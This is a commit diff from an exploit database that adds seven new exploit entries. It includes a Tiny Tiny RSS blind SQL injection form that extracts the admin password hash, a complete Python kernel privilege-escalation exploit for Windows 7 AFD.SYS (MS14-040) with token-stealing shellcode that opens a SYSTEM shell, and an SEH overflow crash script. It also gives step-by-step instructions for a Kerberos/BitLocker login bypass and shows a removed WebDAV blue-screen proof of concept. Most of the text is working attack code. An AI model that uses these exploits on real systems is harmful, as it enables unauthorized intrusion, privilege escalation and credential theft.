DB: 2016-02-16
7 new exploits
This commit is contained in:
parent
6e68aad606
commit
8ad60260b2
9 changed files with 1703 additions and 129 deletions
|
@ -35674,10 +35674,17 @@ id,file,description,date,author,platform,type,port
|
|||
39429,platforms/windows/dos/39429.txt,"Adobe Photoshop CC & Bridge CC PNG File Parsing Memory Corruption",2016-02-09,"Francis Provencher",windows,dos,0
|
||||
39430,platforms/windows/dos/39430.txt,"Adobe Photoshop CC & Bridge CC PNG File Parsing Memory Corruption 2",2016-02-09,"Francis Provencher",windows,dos,0
|
||||
39431,platforms/windows/dos/39431.txt,"Adobe Photoshop CC & Bridge CC IFF File Parsing Memory Corruption",2016-02-09,"Francis Provencher",windows,dos,0
|
||||
39432,platforms/windows/dos/39432.c,"Microsoft Windows WebDAV - BSoD PoC (MS16-016)",2016-02-10,koczkatamas,windows,dos,0
|
||||
39432,platforms/windows/local/39432.c,"Microsoft Windows WebDAV - Privilege Escalation (MS16-016)",2016-02-10,koczkatamas,windows,local,0
|
||||
39433,platforms/linux/local/39433.py,"Deepin Linux 15 - lastore-daemon Privilege Escalation",2016-02-10,"King's Way",linux,local,0
|
||||
39435,platforms/multiple/webapps/39435.txt,"Apache Sling Framework (Adobe AEM) 2.3.6 - Information Disclosure Vulnerability",2016-02-10,Vulnerability-Lab,multiple,webapps,0
|
||||
39436,platforms/php/webapps/39436.txt,"Yeager CMS 1.2.1 - Multiple Vulnerabilities",2016-02-10,"SEC Consult",php,webapps,80
|
||||
39437,platforms/hardware/remote/39437.rb,"D-Link DCS-930L Authenticated Remote Command Execution",2016-02-10,metasploit,hardware,remote,0
|
||||
39438,platforms/xml/local/39438.txt,"Wieland wieplan 4.1 Document Parsing Java Code Execution Using XMLDecoder",2016-02-10,LiquidWorm,xml,local,0
|
||||
39439,platforms/jsp/remote/39439.txt,"File Replication Pro <= 7.2.0 - Multiple Vulnerabilities",2016-02-11,"Vantage Point Security",jsp,remote,0
|
||||
39442,platforms/windows/local/39442.txt,"Windows Kerberos Security Feature Bypass (MS16-014)",2016-02-15,"Nabeel Ahmed",windows,local,0
|
||||
39443,platforms/windows/local/39443.py,"Delta Industrial Automation DCISoft 1.12.09 - Stack Buffer Overflow Exploit",2016-02-15,LiquidWorm,windows,local,0
|
||||
39444,platforms/windows/dos/39444.txt,"Alternate Pic View 2.150 - .pgm Crash PoC",2016-02-15,"Shantanu Khandelwal",windows,dos,0
|
||||
39445,platforms/linux/dos/39445.c,"Ntpd <= ntp-4.2.6p5 - ctl_putdata() Buffer Overflow",2016-02-15,"Marcin Kozlowski",linux,dos,0
|
||||
39446,platforms/win32/local/39446.py,"Microsoft Windows - AFD.SYS Dangling Pointer Privilege Escalation (MS14-040)",2016-02-15,"Rick Larabee",win32,local,0
|
||||
39447,platforms/windows/dos/39447.py,"Network Scanner Version 4.0.0.0 - SEH Crash POC",2016-02-15,INSECT.B,windows,dos,0
|
||||
39448,platforms/php/webapps/39448.txt,"Tiny Tiny RSS - Blind SQL Injection",2016-02-15,"Kacper Szurek",php,webapps,80
|
||||
|
|
Can't render this file because it is too large.
|
1154
platforms/linux/dos/39445.c
Executable file
1154
platforms/linux/dos/39445.c
Executable file
File diff suppressed because it is too large
Load diff
30
platforms/php/webapps/39448.txt
Executable file
30
platforms/php/webapps/39448.txt
Executable file
|
@ -0,0 +1,30 @@
|
|||
# Exploit Title: Tiny Tiny RSS Blind SQL Injection
|
||||
# Date: 15-02-2016
|
||||
# Software Link: http://tt-rss.org/
|
||||
# Exploit Author: Kacper Szurek
|
||||
# Contact: http://twitter.com/KacperSzurek
|
||||
# Website: http://security.szurek.pl/
|
||||
# Category: webapps
|
||||
|
||||
1. Description
|
||||
|
||||
$item_id inside process_category_order() is not properly escaped.
|
||||
|
||||
We control this value using $_POST['payload'].
|
||||
|
||||
http://security.szurek.pl/tiny-tiny-rss-blind-sql-injection.html
|
||||
|
||||
2. Proof of Concept
|
||||
|
||||
Login as regular user.
|
||||
|
||||
<form method="post" action="http://tiny-tiny-rss/backend.php">
|
||||
<input type="hidden" name="op" value="pref-feeds">
|
||||
<input type="hidden" name="method" value="savefeedorder">
|
||||
<textarea name="payload">{"items":[{"items":{"_reference":"CAT:1' AND order_id = (SELECT IF(substr(pwd_hash,1,1) = CHAR(77), SLEEP(5), 0) FROM ttrss_users WHERE id = 1) AND -- "},"id":"root"}]}</textarea>
|
||||
<input type="submit" value="Hack!">
|
||||
</form>
|
||||
|
||||
3. Solution:
|
||||
|
||||
Update to version a5556c2471973e292dce615fe0c77fdbbc54405b
|
281
platforms/win32/local/39446.py
Executable file
281
platforms/win32/local/39446.py
Executable file
|
@ -0,0 +1,281 @@
|
|||
# Exploit Title: MS14-040 - AFD.SYS Dangling Pointer
|
||||
# Date: 2016-02-05
|
||||
# Exploit Author: Rick Larabee
|
||||
# Vendor Homepage: www.microsoft.com
|
||||
# Version: Windows 7, 32 bit
|
||||
# Tested on: Win7 x32
|
||||
# afd.sys - 6.1.7600.16385
|
||||
# ntdll.dll - 6.1.7600.16385
|
||||
#
|
||||
# CVE : CVE-2014-1767
|
||||
# Category: Local Privilege Escalation
|
||||
# References:
|
||||
# http://www.siberas.de/papers/Pwn2Own_2014_AFD.sys_privilege_escalation.pdf
|
||||
# http://ricklarabee.blogspot.com/
|
||||
# https://warroom.securestate.com/ms14-040-afd-sys-dangling-pointer-further-analysis/
|
||||
# https://technet.microsoft.com/en-us/library/security/ms14-040.aspx
|
||||
# http://www.cvedetails.com/cve/CVE-2014-1767/
|
||||
#
|
||||
# Greetz: PWN4GEPWN1E, SecurityMook
|
||||
|
||||
|
||||
|
||||
from ctypes import *
|
||||
import socket, time, os, struct, sys
|
||||
from ctypes.wintypes import HANDLE, DWORD
|
||||
|
||||
kernel32 = windll.kernel32
|
||||
ntdll = windll.ntdll
|
||||
Psapi = windll.Psapi
|
||||
|
||||
MEMRES = (0x1000 | 0x2000)
|
||||
PAGEEXE = 0x00000040
|
||||
Zerobits = c_int(0)
|
||||
RegionSize = c_int(0x1000)
|
||||
written = c_int(0)
|
||||
|
||||
FakeObjSize = 0xA0
|
||||
|
||||
GENERIC_READ = 0x80000000
|
||||
GENERIC_WRITE = 0x40000000
|
||||
GENERIC_EXECUTE = 0x20000000
|
||||
GENERIC_ALL = 0x10000000
|
||||
INVALID_HANDLE_VALUE = -1
|
||||
|
||||
WSAGetLastError = windll.Ws2_32.WSAGetLastError
|
||||
WSAGetLastError.argtypes = ()
|
||||
WSAGetLastError.restype = c_int
|
||||
SOCKET = c_int
|
||||
WSASocket = windll.Ws2_32.WSASocketA
|
||||
WSASocket.argtypes = (c_int, c_int, c_int, c_void_p, c_uint, DWORD)
|
||||
WSASocket.restype = SOCKET
|
||||
closesocket = windll.Ws2_32.closesocket
|
||||
closesocket.argtypes = (SOCKET,)
|
||||
closesocket.restype = c_int
|
||||
connect = windll.Ws2_32.connect
|
||||
connect.argtypes = (SOCKET, c_void_p, c_int)
|
||||
connect.restype = c_int
|
||||
|
||||
class sockaddr_in(Structure):
|
||||
_fields_ = [
|
||||
("sin_family", c_short),
|
||||
("sin_port", c_ushort),
|
||||
("sin_addr", c_ulong),
|
||||
("sin_zero", c_char * 8),
|
||||
]
|
||||
|
||||
def findSysBase(drvname=None):
|
||||
ARRAY_SIZE = 1024
|
||||
myarray = c_ulong * ARRAY_SIZE
|
||||
lpImageBase = myarray()
|
||||
cb = c_int(1024)
|
||||
lpcbNeeded = c_long()
|
||||
drivername_size = c_long()
|
||||
drivername_size.value = 48
|
||||
|
||||
Psapi.EnumDeviceDrivers(byref(lpImageBase), cb, byref(lpcbNeeded))
|
||||
for baseaddy in lpImageBase:
|
||||
drivername = c_char_p("\x00"*drivername_size.value)
|
||||
if baseaddy:
|
||||
Psapi.GetDeviceDriverBaseNameA(baseaddy, drivername,
|
||||
drivername_size.value)
|
||||
if drvname:
|
||||
if drivername.value.lower() == drvname:
|
||||
print "[+] Retrieving %s info..." % drvname
|
||||
print "[+] %s base address: %s" % (drvname, hex(baseaddy))
|
||||
return baseaddy
|
||||
else:
|
||||
if drivername.value.lower().find("krnl") !=-1:
|
||||
print "[+] Retrieving Kernel info..."
|
||||
print "[+] Kernel version:", drivername.value
|
||||
print "[+] Kernel base address: %s" % hex(baseaddy)
|
||||
return (baseaddy, drivername.value)
|
||||
return None
|
||||
|
||||
|
||||
def CreateBuffer1():
|
||||
inbuf1size = 0x30
|
||||
virtualAddress = 0x18888888
|
||||
length = 0x20000
|
||||
|
||||
inbuf1 = "\x00" * 0x18 + struct.pack("L", virtualAddress) #0x1a
|
||||
inbuf1 += struct.pack("L", length) #0x20
|
||||
inbuf1 += "\x00" * 0x8 + "\x01"
|
||||
inbuf1 += "\x00" * (inbuf1size - len(inbuf1))
|
||||
|
||||
baseadd = c_int(0x1001)
|
||||
dwStatus = ntdll.NtAllocateVirtualMemory(-1,
|
||||
byref(baseadd),
|
||||
0x0,
|
||||
byref(RegionSize),
|
||||
MEMRES,
|
||||
PAGEEXE)
|
||||
kernel32.WriteProcessMemory(-1, 0x1000, inbuf1, inbuf1size, byref(written))
|
||||
|
||||
|
||||
def CreateBuffer2():
|
||||
inbuf2size = 0x10
|
||||
addrforbuf2 = 0x0AAAAAAA
|
||||
|
||||
inbuf2 = "\x01\x00\x00\x00"
|
||||
inbuf2 += struct.pack("L", addrforbuf2)
|
||||
inbuf2 += "\x00" * (inbuf2size -len(inbuf2))
|
||||
|
||||
baseadd = c_int(0x2001)
|
||||
dwStatus = ntdll.NtAllocateVirtualMemory(-1,
|
||||
byref(baseadd),
|
||||
0x0,
|
||||
byref(RegionSize),
|
||||
MEMRES,
|
||||
PAGEEXE)
|
||||
kernel32.WriteProcessMemory(-1, 0x2000, inbuf2, inbuf2size, byref(written))
|
||||
|
||||
def CreateFakeObject():
|
||||
print "[+] Print creating fakeobject"
|
||||
fakeobject2addr = 0x2200
|
||||
fakeobject2 = "\x00"*16 + struct.pack("L", HalDispatchTable+sizeof(c_void_p)-0x1C)
|
||||
fakeobj2size = len(fakeobject2)
|
||||
kernel32.WriteProcessMemory(-1, fakeobject2addr, fakeobject2, fakeobj2size, byref(written))
|
||||
|
||||
objhead = ("\x00\x00\x00\x00\xa8\x00\x00\x00"
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
"\x01\x00\x00\x00\x01\x00\x00\x00"
|
||||
"\x00\x00\x00\x00\x16\x00\x08\x00"
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00")
|
||||
|
||||
|
||||
fakeobject = objhead
|
||||
fakeobject += struct.pack("L", fakeobject2addr) + "\x41"*96 + struct.pack("L", HalDispatchTable + sizeof(c_void_p) - 0xB4)
|
||||
fakeobject += "\x41" * (FakeObjSize - len(fakeobject))
|
||||
kernel32.WriteProcessMemory(-1, 0x2100, fakeobject, FakeObjSize, byref(written))
|
||||
|
||||
print "[+] creating socket..."
|
||||
sock = WSASocket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP, None, 0, 0)
|
||||
|
||||
if sock == -1:
|
||||
print "[-] no luck creating socket!"
|
||||
sys.exit(1)
|
||||
|
||||
print "[+] got sock 0x%x" % sock
|
||||
|
||||
addr = sockaddr_in()
|
||||
addr.sin_family = socket.AF_INET
|
||||
addr.sin_port = socket.htons(135)
|
||||
addr.sin_addr = socket.htonl(0x7f000001)
|
||||
|
||||
connect(sock, byref(addr), sizeof(addr))
|
||||
|
||||
print "[+] sock connected."
|
||||
print "\n[+] GO!"
|
||||
|
||||
(krnlbase, kernelver) = findSysBase()
|
||||
hKernel = kernel32.LoadLibraryExA(kernelver, 0, 1)
|
||||
HalDispatchTable = kernel32.GetProcAddress(hKernel, "HalDispatchTable")
|
||||
HalDispatchTable -= hKernel
|
||||
HalDispatchTable += krnlbase
|
||||
print "[+] HalDispatchTable address:", hex(HalDispatchTable)
|
||||
halbase = findSysBase("halmacpi.dll")
|
||||
OS = "7"
|
||||
if OS == "7":
|
||||
HaliQuerySystemInformation = halbase+0x278A2 # Offset for win7
|
||||
_KPROCESS = "\x50"
|
||||
_TOKEN = "\xf8"
|
||||
_UPID = "\xb4"
|
||||
_APLINKS = "\xb8"
|
||||
|
||||
print "[+] HaliQuerySystemInformation:", hex(HaliQuerySystemInformation)
|
||||
|
||||
IoStatus = c_ulong()
|
||||
IoStatusBlock = c_ulong()
|
||||
|
||||
CreateBuffer1()
|
||||
CreateBuffer2()
|
||||
CreateFakeObject()
|
||||
|
||||
inbuf1 = 0x1000
|
||||
inbuf2 = 0x2000
|
||||
hWF = HANDLE(0)
|
||||
FakeWorkerFactoryADDR = 0x2100
|
||||
|
||||
|
||||
# Trigger 1
|
||||
# afd!afdTransmitFile
|
||||
ntdll.ZwDeviceIoControlFile(sock,None,None,None,byref(IoStatusBlock),0x1207f, inbuf1, 0x30, None, 0x0)
|
||||
|
||||
CompletionPort = HANDLE(kernel32.CreateIoCompletionPort( INVALID_HANDLE_VALUE, None, 0, 0))
|
||||
|
||||
ntdll.ZwCreateWorkerFactory(byref(hWF),GENERIC_ALL,None,CompletionPort,INVALID_HANDLE_VALUE,None,None,0,0,0)
|
||||
hWFaddr = hWF
|
||||
print "[+] WorkerFactoryHandle:", hWF.value
|
||||
hWFaddr = int(addressof(hWF))
|
||||
|
||||
shellcode_address = 0x00020700
|
||||
padding = "\x90"*2
|
||||
HalDispatchTable0x4 = HalDispatchTable + 0x4
|
||||
|
||||
_WFValue = struct.pack("L", hWFaddr)
|
||||
|
||||
sc_pointer = struct.pack("L", shellcode_address+0x4)
|
||||
restore_ptrs = "\x31\xc0" + \
|
||||
"\xb8" + struct.pack("L", HaliQuerySystemInformation) + \
|
||||
"\xa3" + struct.pack("L", HalDispatchTable0x4)
|
||||
|
||||
tokenstealing = "\x52" +\
|
||||
"\x53" +\
|
||||
"\x33\xc0" +\
|
||||
"\x64\x8b\x80\x24\x01\x00\x00" +\
|
||||
"\x8b\x40" + _KPROCESS +\
|
||||
"\x8b\xc8" +\
|
||||
"\x8b\x98" + _TOKEN + "\x00\x00\x00" +\
|
||||
"\x89\x1d\x00\x09\x02\x00" +\
|
||||
"\x8b\x80" + _APLINKS + "\x00\x00\x00" +\
|
||||
"\x81\xe8" + _APLINKS + "\x00\x00\x00" +\
|
||||
"\x81\xb8" + _UPID + "\x00\x00\x00\x04\x00\x00\x00" +\
|
||||
"\x75\xe8" +\
|
||||
"\x8b\x90" + _TOKEN + "\x00\x00\x00" +\
|
||||
"\x8b\xc1" +\
|
||||
"\x89\x90" + _TOKEN + "\x00\x00\x00"
|
||||
|
||||
fixobjheaders = "\x33\xC0" +\
|
||||
"\x64\x8B\x80\x24\x01\x00\x00" +\
|
||||
"\x8B\x40\x50" +\
|
||||
"\x8B\x80\xF4\x00\x00\x00" +\
|
||||
"\x8B\xD8" +\
|
||||
"\x8B\x00" +\
|
||||
"\x8B\x0D" + _WFValue +\
|
||||
"\x83\xE1\xFC" +\
|
||||
"\x03\xC9" +\
|
||||
"\x03\xC1" +\
|
||||
"\xC7\x00\x00\x00\x00\x00" +\
|
||||
"\x83\xC3\x30" +\
|
||||
"\x8B\xC3" +\
|
||||
"\x8B\x1B" +\
|
||||
"\x83\xEB\x01" +\
|
||||
"\x89\x18" +\
|
||||
"\x5B" +\
|
||||
"\x5A" +\
|
||||
"\xC2\x10\x00"
|
||||
|
||||
|
||||
shellcode = sc_pointer + padding + restore_ptrs + tokenstealing + fixobjheaders
|
||||
shellcode_size = len(shellcode)
|
||||
orig_size = shellcode_size
|
||||
startPage = c_int(0x00020000)
|
||||
kernel32.VirtualProtect(startPage, 0x1000, PAGEEXE, byref(written))
|
||||
kernel32.WriteProcessMemory(-1, shellcode_address, shellcode, shellcode_size, byref(written))
|
||||
|
||||
|
||||
### Trigger 2
|
||||
## afd!AfdTransmitPackets
|
||||
ntdll.ZwDeviceIoControlFile(sock,None,None,None,byref(IoStatusBlock),0x120c3, inbuf2, 0x10, None, 0x0)
|
||||
|
||||
ntdll.ZwQueryEaFile(INVALID_HANDLE_VALUE, byref(IoStatus), None, 0, False, FakeWorkerFactoryADDR, FakeObjSize-0x04, None, False)
|
||||
|
||||
ntdll.ZwSetInformationWorkerFactory(hWF, 8, shellcode_address, sizeof(c_void_p)) ;
|
||||
|
||||
inp = c_ulong()
|
||||
out = c_ulong()
|
||||
inp = 0x1337
|
||||
qip = ntdll.NtQueryIntervalProfile(inp, byref(out))
|
||||
print "[*] Spawning a SYSTEM shell..."
|
||||
os.system("cmd.exe /K cd c:\\windows\\system32")
|
|
@ -1,128 +0,0 @@
|
|||
/*
|
||||
|
||||
Source: https://github.com/koczkatamas/CVE-2016-0051
|
||||
|
||||
Proof-of-concept BSoD (Blue Screen of Death) code for CVE-2016-0051 (MS-016).
|
||||
|
||||
Full Proof of Concept:
|
||||
https://github.com/koczkatamas/CVE-2016-0051/archive/master.zip
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39432.zip
|
||||
|
||||
*/
|
||||
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Net;
|
||||
using System.Net.Sockets;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
|
||||
namespace BSoD
|
||||
{
|
||||
class Program
|
||||
{
|
||||
static void StartFakeWebDavServer(int port)
|
||||
{
|
||||
new Thread(() =>
|
||||
{
|
||||
var server = new TcpListener(IPAddress.Loopback, port);
|
||||
server.Start();
|
||||
while (true)
|
||||
{
|
||||
using (var client = server.AcceptTcpClient())
|
||||
using (var stream = client.GetStream())
|
||||
using (var reader = new StreamReader(stream, Encoding.GetEncoding("iso-8859-1")))
|
||||
using (var writer = new StreamWriter(stream, Encoding.GetEncoding("iso-8859-1")) { AutoFlush = true })
|
||||
{
|
||||
Console.WriteLine(" =============== BEGIN REQUEST =============== ");
|
||||
|
||||
Func<string> rl = () =>
|
||||
{
|
||||
var line = reader.ReadLine();
|
||||
Console.WriteLine("< " + line);
|
||||
return line;
|
||||
};
|
||||
|
||||
Action<string> wl = outData =>
|
||||
{
|
||||
Console.WriteLine(String.Join("\n", outData.Split('\n').Select(x => "> " + x)));
|
||||
writer.Write(outData);
|
||||
};
|
||||
|
||||
var header = rl().Split(' ');
|
||||
while (!string.IsNullOrWhiteSpace(rl())) { }
|
||||
|
||||
if (header[0] == "OPTIONS")
|
||||
wl("HTTP/1.1 200 OK\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nAllow: OPTIONS,GET,HEAD,PROPFIND\r\n\r\n");
|
||||
else if (header[0] == "PROPFIND")
|
||||
{
|
||||
var body = String.Format(@"
|
||||
<?xml version=""1.0"" encoding=""UTF-8""?>
|
||||
<D:multistatus xmlns:D=""DAV:"">
|
||||
<D:response>
|
||||
<D:href>{0}</D:href>
|
||||
<D:propstat>
|
||||
<D:prop>
|
||||
<D:creationdate>{1:s}Z</D:creationdate>
|
||||
<D:getcontentlength>{3}</D:getcontentlength>
|
||||
<D:getcontenttype>{4}</D:getcontenttype>
|
||||
<D:getetag>{5}</D:getetag>
|
||||
<D:getlastmodified>{6:R}</D:getlastmodified>
|
||||
<D:resourcetype>{8}</D:resourcetype>
|
||||
<D:supportedlock></D:supportedlock>
|
||||
<D:ishidden>{7}</D:ishidden>
|
||||
</D:prop>
|
||||
<D:status>HTTP/1.1 200 OK</D:status>
|
||||
</D:propstat>
|
||||
</D:response>
|
||||
</D:multistatus>", header[1], DateTime.UtcNow.ToUniversalTime(), "", "0", "", "", DateTime.UtcNow.ToUniversalTime(), 0, header[1].Contains("file") ? "" : "<D:collection></D:collection>").Trim();
|
||||
|
||||
wl("HTTP/1.1 207 Multi-Status\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nContent-Length: " + body.Length + "\r\nContent-Type: text/xml\r\n\r\n" + body);
|
||||
}
|
||||
else
|
||||
wl("HTTP/1.1 500 Internal Server Error\r\n\r\n");
|
||||
|
||||
Console.WriteLine(" =============== END REQUEST =============== ");
|
||||
}
|
||||
}
|
||||
}) { IsBackground = true, Name = "WebDAV server thread" }.Start();
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private class NETRESOURCE
|
||||
{
|
||||
public uint dwScope = 0;
|
||||
public uint dwType = 0;
|
||||
public uint dwDisplayType = 0;
|
||||
public uint dwUsage = 0;
|
||||
public string lpLocalName = null;
|
||||
public string lpRemoteName = null;
|
||||
public string lpComment = null;
|
||||
public string lpProvider = null;
|
||||
}
|
||||
|
||||
[DllImport("mpr.dll")]
|
||||
private static extern int WNetAddConnection2(NETRESOURCE lpNetResource, string lpPassword, string lpUsername, int dwFlags);
|
||||
|
||||
[DllImport("Advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
private static extern int DuplicateEncryptionInfoFile(string srcFileName, string dstFileName, uint dwCreationDistribution, uint dwAttributes, IntPtr lpSecurityAttributes);
|
||||
|
||||
public static void Main(string[] args)
|
||||
{
|
||||
var p = new Random().Next(1024, 65535);
|
||||
|
||||
StartFakeWebDavServer(p);
|
||||
|
||||
var addConnectionResult = WNetAddConnection2(new NETRESOURCE() { lpRemoteName = @"\\127.0.0.1@" + p + @"\folder\" }, null, null, 0);
|
||||
Console.WriteLine("WNetAddConnection2 = " + addConnectionResult);
|
||||
|
||||
var duplicateEncryptionInfoResult = DuplicateEncryptionInfoFile(@"\\127.0.0.1@" + p + @"\folder\file", "x", 2, 128, IntPtr.Zero);
|
||||
Console.WriteLine("DuplicateEncryptionInfoFile = " + duplicateEncryptionInfoResult);
|
||||
|
||||
Console.WriteLine("BSoD did not happen.");
|
||||
Console.ReadLine();
|
||||
}
|
||||
}
|
||||
}
|
26
platforms/windows/dos/39444.txt
Executable file
26
platforms/windows/dos/39444.txt
Executable file
|
@ -0,0 +1,26 @@
|
|||
# Exploit Title: Alternate Pic View 2.150 PGM CRASH POC
|
||||
# Date: 14-02-2016
|
||||
# Exploit Author: Shantanu Khandelwal
|
||||
# Vendor Homepage: http://www.alternate-tools.com
|
||||
<https://potplayer.daum.net/>
|
||||
# Software Link: http://www.alternate-tools.com/pages/c_picview.php?lang=ENG
|
||||
# Version: 2.150
|
||||
# Tested on: Windows XP Sp3,Windows 7
|
||||
# CVE : unknown at the moment
|
||||
|
||||
#============================================================================================
|
||||
Access violation - code c0000005 (first chance)
|
||||
First chance exceptions are reported before any exception handling.
|
||||
This exception may be expected and handled.
|
||||
eax=01e57f20 ebx=003b0178 ecx=0065014c edx=e16a9530 esi=01e57f18
|
||||
edi=003b0000
|
||||
eip=7c9108b2 esp=0012f448 ebp=0012f504 iopl=0 nv up ei pl nz ac po cy
|
||||
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010213
|
||||
#===========================================================================================
|
||||
|
||||
Alternate Pic Viewer crashes on a faulty PGM image file .
|
||||
|
||||
Faulty PGM file is attached as POC
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/
|
79
platforms/windows/dos/39447.py
Executable file
79
platforms/windows/dos/39447.py
Executable file
|
@ -0,0 +1,79 @@
|
|||
#-*- coding: utf-8 -*-
|
||||
#
|
||||
# Exploit Title: Network Scanner Version 4.0.0.0 SEH Crash POC
|
||||
# POC Dork: N/A
|
||||
# Date: 2016-02-15
|
||||
# Author: INSECT.B
|
||||
# Twitter : @INSECT.B
|
||||
# Facebook : https://www.facebook.com/B.INSECT00
|
||||
# Blog : http://binsect00.tistory.com
|
||||
# Vendor Homepage: http://www.mitec.cz/
|
||||
# Software Link: http://www.mitec.cz/Downloads/NetScan.zip
|
||||
# Version: 4.0.0.0
|
||||
# Tested on: Windows7 Professional SP1 En x86
|
||||
# CVE : N/A
|
||||
|
||||
'''
|
||||
[+] Type : SEH
|
||||
[-] Insert the string that compile this file in [TOOLS] Tab 'Detect IP from Host name...' field
|
||||
[-] string : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAÌÌÌÌBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
|
||||
[-] crash info
|
||||
(2d0.878): Access violation - code c0000005 (first chance)
|
||||
First chance exceptions are reported before any exception handling.
|
||||
This exception may be expected and handled.
|
||||
eax=00000000 ebx=00000000 ecx=42424242 edx=772571cd esi=00000000 edi=00000000
|
||||
eip=42424242 esp=0012edd8 ebp=0012edf8 iopl=0 nv up ei pl zr na pe nc
|
||||
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246
|
||||
42424242 ?? ???
|
||||
|
||||
0:000> !exchain
|
||||
0012edec: ntdll!ExecuteHandler2+3a (772571cd)
|
||||
0012f534: 42424242
|
||||
Invalid exception stack at cccccccc
|
||||
|
||||
0:000> d 12f534
|
||||
0012f534 cc cc cc cc 42 42 42 42-43 43 43 43 43 43 43 43 ....BBBBCCCCCCCC
|
||||
0012f544 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
|
||||
0012f554 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
|
||||
0012f564 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
|
||||
0012f574 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
|
||||
0012f584 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
|
||||
0012f594 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
|
||||
0012f5a4 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
|
||||
0:000> d
|
||||
0012f5b4 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
|
||||
0012f5c4 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
|
||||
0012f5d4 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
|
||||
0012f5e4 43 43 43 00 95 b4 31 74-84 f6 12 00 00 00 00 00 CCC...1t........
|
||||
0012f5f4 0a 80 00 00 ea 01 24 00-00 00 00 00 00 00 00 00 ......$.........
|
||||
0012f604 ab 00 0a e7 34 f6 12 00-e7 c4 06 77 ea 01 24 00 ....4......w..$.
|
||||
0012f614 15 02 00 00 00 00 00 00-00 00 00 00 15 02 00 00 ................
|
||||
0012f624 cd ab ba dc 00 00 00 00-84 f6 12 00 15 02 00 00 ................
|
||||
|
||||
|
||||
'''
|
||||
|
||||
import struct
|
||||
|
||||
junk1 = "A" * 76
|
||||
nSEH = "\xcc\xcc\xcc\xcc"
|
||||
SEH = "BBBB"
|
||||
shell = "C" * 300
|
||||
|
||||
payload = junk1 + nSEH + SEH + shell
|
||||
with open("netEx.txt","wb") as f :
|
||||
f.write(payload)
|
||||
print payload
|
||||
|
||||
"""
|
||||
Exploit problem
|
||||
|
||||
1. Input string(value) was replaced '0x3f' in the memory. then shellcode should be encoded to alpha_mixed.
|
||||
Buffer size was 171 bytes. but, encoded shellcode size was over 600 bytes.
|
||||
|
||||
2. Null byte cannot be inserted into Input field. so we can't use SEH pointer in a range of NetScanner.exe address (0x00400000~0x008c3000)
|
||||
|
||||
3. payload was consisted of 'junk - shellcode - nSEH ptr - SEH ptr'. but this step was fail. because junk buffer size was 76 bytes.
|
||||
Can't insert shellcode
|
||||
|
||||
"""
|
40
platforms/windows/local/39442.txt
Executable file
40
platforms/windows/local/39442.txt
Executable file
|
@ -0,0 +1,40 @@
|
|||
# Exploit Title: Windows Kerberos Security Feature Bypass
|
||||
# Date: 12-02-2016
|
||||
# Exploit Author: Nabeel Ahmed
|
||||
# Tested on: Windows 7 Professional (x32/x64)
|
||||
# CVE : CVE-2016-0049
|
||||
# Category: Local Exploit
|
||||
|
||||
1) Prerequisites:
|
||||
|
||||
- Standard Windows 7 Fully patched and member of an existing domain.
|
||||
- BitLocker enabled without PIN or USB key.
|
||||
- Password Caching enabled
|
||||
- Victim has cached credentials stored on the system from previous logon.
|
||||
|
||||
2) Reproduce:
|
||||
STEP 1: Obtain physical access to a desktop or laptop with the above configuration.
|
||||
STEP 2: Boot system and determine FQDN of the device. (example. CLIENT.domain.local), this can be obtained by monitoring the network broadcast communication, which the system sends prior to loggin in. The username can be extracted from the loginscreen (E.g USER1)
|
||||
STEP 3: Create Active Directory for the domain you obtained in STEP 2 (domain.local).
|
||||
STEP 4: Create User with similar name as the previously logged in user. (E.g domain\USER1), and force user to change password upon next login.
|
||||
STEP 5: Create Computer Object in Active Directory with the same name as the target system. (E.g CLIENT)
|
||||
STEP 6: Use ADSI Edit and change the attribute ServicePrincipleName of the Computer Object you created in STEP 5, Add the FQDN as following (HOST/CLIENT.domain.local).
|
||||
STEP 7: Establish network connection between the target system and the newly created Domain Controller.
|
||||
STEP 8: Login with the password defined in STEP 4.
|
||||
STEP 9: Target system displays change password screen, set new password and confirm.
|
||||
